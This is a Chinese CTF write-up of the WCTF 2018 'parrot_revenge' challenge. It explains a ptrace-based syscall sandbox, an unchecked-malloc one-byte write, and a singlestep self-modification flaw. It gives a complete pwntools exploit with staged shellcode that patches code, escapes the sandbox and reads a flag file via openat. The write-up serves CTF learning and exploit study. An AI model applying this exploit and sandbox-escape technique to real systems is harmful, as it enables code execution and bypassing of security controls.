【WCTF 2018】parrot_revenge 题解

parrot_revenge

题目解析

题目给出了两个binary文件,分别是parent和parrot_revenge。

parent

这是个沙箱程序,使用fork开辟了一个子进程,并用execve将parrot_revenge的子进程加载到当前的代码段,并用ptrace实现了对子进程的监控。

再看父进程,实现了一个对子进程的沙箱逻辑。具体实现在0x400a33这个函数中:

首先进行了沙箱的初始化,对于子进程将call malloc处的第一个字节由0xe8改为0xcc,并将原来的值存储起来,这样在子进程执行到call malloc处的时候就会产生一个中断,可以被父进程监听到。

当执行完成后,父进程会在一个死循环里监听子进程的系统调用,系统调用分为两种,第一种是父进程在初始化时对call malloc的0xcc中断,另外一种是程序正常调用的syscall中断。

对这两种中断分别的处理方法如下:

首先检查rip,即程序执行的地址是否为call malloc,进而检查是否执行的代码是0xcc,再检查程序rdi寄存器,也就是函数第一个参数是否在0x6f到0x1000范围内,如果是则rip-1,并恢复call malloc代码,再使用单步执行(singlestep)方法执行一条指令,再次保存call malloc地址指令,并重置为0xcc。

如不是,则检查系统调用号,当系统调用号不为0、1、9、12,则将子进程杀死。

parrot_revenge

子进程的逻辑很简单,在while循环中循环执行操作,包括malloc、read、write,当控制的局部变量为1时,退出操作。

漏洞分析

程序在父进程和子进程中均存在漏洞。

parrot_revenge

在子进程中malloc过后,即向得到的地址+size处写\x00操作,这个漏洞和SUCTF 2018的noend题目一样,都未检查malloc函数的返回值,当size过大时,malloc会返回0,这样size+0取决于size,造成一个内存任意写一字节0的漏洞。

parent

父进程中存在一个漏洞,这个漏洞在程序执行call malloc的ptrace(PTRACE_SINGLESTEP, pid, 0LL, 0LL);执行过后,会取得该处指令去更新保存的静态变量,当单步执行改变了call malloc处指令时,程序在下一次执行时就会执行非保存的call指令(\xe8)。

漏洞利用

这个程序最开始以为是只有一次执行的,因为无法预知栈地址,不能找到程序的循环次数变量来覆写,就很尴尬。一度以为没法做。

在赛场测试中无意发现,当size取0x4007ae时,会向cmp eax,1处写0,造成程序在while循环中无限循环… 但是在本地却无法更改,没有搭起本地调试环境。

环境搭建

在赛后与主办方交流时候发现,其实这题在题目描述中给了hint来搭建本地环境。

在题目中提示:

1
Env : Linux DESKTOP-ES068S3 4.4.0-17134-Microsoft #81-Microsoft Sun May 20 01:14:00 PST 2018 x86_64 x86_64 x86_64 GNU/Linux

这代表是Windows10操作系统的ubuntu子系统,在比赛结束后,我根据这篇博客里所述的操作搭建起了环境,注意选择应用商店中的ubuntu 16.04。在搭建好环境后,我使用gdb挂起程序,发现了linux和Windows子系统环境的不同,在Windows的子系统中被ptrace子程序的代码段是rwx的,而linux中是r-x的,这也是赛场环境中可以改代码段的原因。

Ubuntu 16.04

Window10子系统ubuntu 16.04

任意代码执行

在比赛时发现了代码段可以改时,我们进行了疯狂测试,发现全部代码段都是可以改的,只要保证程序汇编指令不崩溃。

首先我们发现程序主要识别变量的方法是mov rax,[rbp+size]及mov [rbp+size],rax。而size这个变量是单字节表示的,当size=0时,即mov [rbp+0],rax。而在main函数中,rbp指向的内容是_libc_csu_init函数的地址,是在.text段上的0x4007C0位置

而这个位置位于main函数的高地址部分。

当修改下图中的ptr变量,即可在每次函数写时,向_libc_csu_init写入内容。

注意到函数的exit(0)调用使用的汇编语句是 e8 82 fd ff ff ff

这样的call指令跳转方法是用的相对偏移来定的,当我们向该位置写\x00使这条指令变成 e8 82 00 00 00时,就变成了调用当前eip(0x4007be)+0x82的位置——0x400840,而这个位置恰好在0x4007c0的高地址位置,也就是说我们可以先向这个位置写汇编指令,再退出就可以跳转拿到我们预先布置的shellcode上了。

还需要解决如何退出的问题,我们之前用cmp rax,0来保证程序循环,我们将

中红框两处代码均改为[rbp+0],即可达到效果,上述改动需要保证一定的顺序,使得程序不崩溃。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
def malloc(len,content):
p.recvuntil('ize:')
p.sendline(str(len))
p.recvuntil('Buffer:')
p.send(content)
#'4196270'
def malloc2(len,content):
p.recvuntil('Size:')
p.sendline(str(len))
p.recvuntil('Buffer:')
#p.send(content)
# cmp 0
malloc(0x4007AE,'')
# exit 0*3
malloc(0x4007B9 + 5,'')
malloc(0x4007B8 + 5,'')
malloc(0x4007B7 + 5,'')
malloc(0x4007A5,'')
malloc(0x400789,'')
malloc(0x400762,'')
core = shellcraft.amd64.write(1, 'input:', 0x10) + shellcraft.amd64.read(0,0x400700,0x100) + "mov rax,0x400700\njmp rax\n"
shellcode = asm('lab1 : ' + core +'nop\n' * (0x80 - len(asm(core,arch = 'amd64'))) + 'jmp lab1', arch = 'amd64')
malloc(0x150, shellcode)
p.recvuntil('Buffer:')
malloc(0x400736,'')
malloc(0,'')

这样可以执行我们写入的core代码。

沙箱逃逸

注意到程序本身存在一个ptrace沙箱,只能执行部分系统调用,可以执行的系统调用时read、write、mmap、exit显然不能拿到flag,比赛结束前我们就卡在这里…

在比赛结束后,听了出题队伍的分享,根据里面的hint做出了沙箱逃逸的部分(PPT照片在最后)

首先,利用的漏洞就是漏洞分析中提到的,当单步执行的代码会改变该条指令时,即可在下一次执行时改变执行的语句。由于singlestep仅能执行一条指令,所以再执行该条指令时需对执行进行自修改。

第一次保存的代码是\xe8,即call指令,而call执行时会在栈上push一个返回地址,当将栈指向当前指令执行位置时,可以将该条指令改变,此次将其改变为\x00,shellcode布置如下:

1
2
3
4
5
6
7
8
9
10
11
0x400700 mov rdi,0x70         #绕过rdi的范围检查
mov r9,0x40073e
xchg rsp,r9
nop nop ; padding
0x40073D \xcc\x00\x00\x00\x00 #在实际运行时会变成call 0x0也就是push返回地址,并继续向下执行
0x400742 mov r9,0x601200
xchg rsp,r9
shellcraft.amd64.write(1,"step 1",0x6)
shellcraft.amd64.read(0,0x400700,0x100)
mov rax,0x400700
jmp rax

在这轮完成后,程序保存在0x40073d位置的指令从\xe8变成了\x00

我们的目标是执行syscall(\x0f\x05),因此需要在下一次执行时,将\x00变成\x0f

在一阶段的shellcode中已经构成了输入循环,因此可以再次布置二阶段的shellcode,如下:

1
2
3
4
5
6
7
8
9
10
11
0x400700 mov rdi,0x70         #绕过rdi的范围检查
mov al,0x0f
mov rcx,0x40073D
nop nop ; padding
0x40073D \xcc\x41\x00\x90\x90 #在实际运行时会变成00 41 00 也就是 add byte ptr[rcx+0x0],al
0x400742 mov r9,0x601200
xchg rsp,r9
shellcraft.amd64.write(1,"step 1",0x6)
shellcraft.amd64.read(0,0x400700,0x100)
mov rax,0x400700
jmp rax

这时,保存的\x00变成了\x0f,下一阶段就可以在此处调用syscall了。

由于父进程对该处的rdi有检查,execve(‘/bin/sh’,0,0)和open(‘/home/chall/flag.txt’,0)就无法调用了,此处调用openat(0x70,”/home/chall/flag.txt”,0),这个函数第一个参数是文件夹指针,而当第二个参数是绝对路径时无视该指针,与open相同,shellcode3布置为:

1
2
3
4
5
6
7
8
0x400700  shellcraft.amd64.openat(0x70,"/home/p4nda/flag.txt",0)[:-2]
nop nop ; padding
0x40073D \xcc\x05\x90\x90\x90 #在实际运行时会变成00 41 00 也就是 add byte ptr[rcx+0x0],al
0x400742 mov r9,0x601900
xchg rsp,r9
xchg rsp,r9
shellcraft.amd64.read(3,0x601200,0x100)
shellcraft.amd64.write(1,0x601200,0x100)

即可读出flag,由于在本地测试,flag是我随手写的:

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
#! /usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *
#from pwnlib.util.iters import bruteforce
# socat TCP4-LISTEN:10001,fork EXEC:"./parent.org ./parrot_revenge"
import string


context.log_level="debug"
debug = 1
if debug :
p = remote('10.101.168.102',10001)
else:
p = remote('172.16.13.222',31337)#
#p=process(['./parent','./parrot_revenge'] )
elf = ELF('./parrot_revenge')
def malloc(len,content):
p.recvuntil('ize:')
p.sendline(str(len))
p.recvuntil('Buffer:')
p.send(content)
#'4196270'
def malloc2(len,content):
p.recvuntil('Size:')
p.sendline(str(len))
p.recvuntil('Buffer:')
#p.send(content)
# cmp 0
malloc(0x4007AE,'')
# exit 0*3
malloc(0x4007B9 + 5,'')
malloc(0x4007B8 + 5,'')
malloc(0x4007B7 + 5,'')
malloc(0x4007A5,'')
malloc(0x400789,'')
malloc(0x400762,'')
core = shellcraft.amd64.write(1, 'input:', 0x10) + shellcraft.amd64.read(0,0x400700,0x100) + "mov rax,0x400700\njmp rax\n" #+ shellcraft.amd64.openat(-3,'/home/p4nda/flag.txt', 0)#shellcraft.amd64.openat('/home/p4nda/flag.txt', 0)
shellcode = asm('lab1 : ' + core +'nop\n' * (0x80 - len(asm(core,arch = 'amd64'))) + 'jmp lab1', arch = 'amd64')
print len(shellcode)
malloc(0x150, shellcode)
p.recvuntil('Buffer:')
malloc(0x400736,'')

malloc(0,'')

# set save_op 0x00

shellcode1 = "mov rdi,0x70\nmov r9,0x40073e\nxchg rsp,r9\n"# +shellcraft.amd64.read(0,0x400700,0x100)
asm_shellcode1 = asm(shellcode1,arch='amd64')
asm_shellcode1 = asm_shellcode1.ljust(0x40073D-0x400700,'\x90')
asm_shellcode1 += "\xcc\x00\x00\x00\x00"
shellcode1 = "mov r9,0x601200\nxchg rsp,r9\n"+ shellcraft.amd64.write(1,"step 1",0x6) + shellcraft.amd64.read(0,0x400700,0x100) +"mov rax,0x400700\njmp rax\n"
asm_shellcode1 += asm(shellcode1,arch="amd64")
p.recvuntil('input:')
p.send(asm_shellcode1)
# set save_op 0xf0

shellcode2 = "mov rdi,0x70\nmov al,0x0f\nmov rcx,0x40073D\n"
asm_shellcode2 = asm(shellcode2,arch='amd64')
asm_shellcode2 = asm_shellcode2.ljust(0x40073D-0x400700,'\x90')
asm_shellcode2 += "\xcc\x41\x00\x90\x90"
shellcode2 = "mov r9,0x601200\nxchg rsp,r9\n"+ shellcraft.amd64.write(1,"step 2",0x6) + shellcraft.amd64.read(0,0x400700,0x100) +"mov rax,0x400700\njmp rax\n"
asm_shellcode2 += asm(shellcode2,arch="amd64")
p.recvuntil('step 1')
p.send(asm_shellcode2)

#openat(0x70,"flag.txt",0)
shellcode3 = shellcraft.amd64.openat(0x70,"/home/p4nda/flag.txt",0)
asm_shellcode3 = asm(shellcode3,arch='amd64')[:-2]
asm_shellcode3 = asm_shellcode3.ljust(0x40073D-0x400700,'\x90')
asm_shellcode3 += "\xcc\x05\x90\x90\x90"
shellcode3 = "mov r9,0x601900\nxchg rsp,r9\n" +shellcraft.amd64.read(3,0x601200,0x100)+ shellcraft.amd64.write(1,0x601200,0x100) #+ shellcraft.amd64.write(1,0x601200,0x100)
asm_shellcode3+= asm(shellcode3,arch="amd64")
p.recvuntil('step 2')
p.send(asm_shellcode3)

p.interactive()

参考

TokyoWesterns的ppt

文章目录
  1. 1. parrot_revenge
    1. 1.1. 题目解析
      1. 1.1.1. parent
      2. 1.1.2. parrot_revenge
    2. 1.2. 漏洞分析
      1. 1.2.1. parrot_revenge
      2. 1.2.2. parent
    3. 1.3. 漏洞利用
      1. 1.3.1. 环境搭建
      2. 1.3.2. 任意代码执行
      3. 1.3.3. 沙箱逃逸
    4. 1.4. EXP
    5. 1.5. 参考
|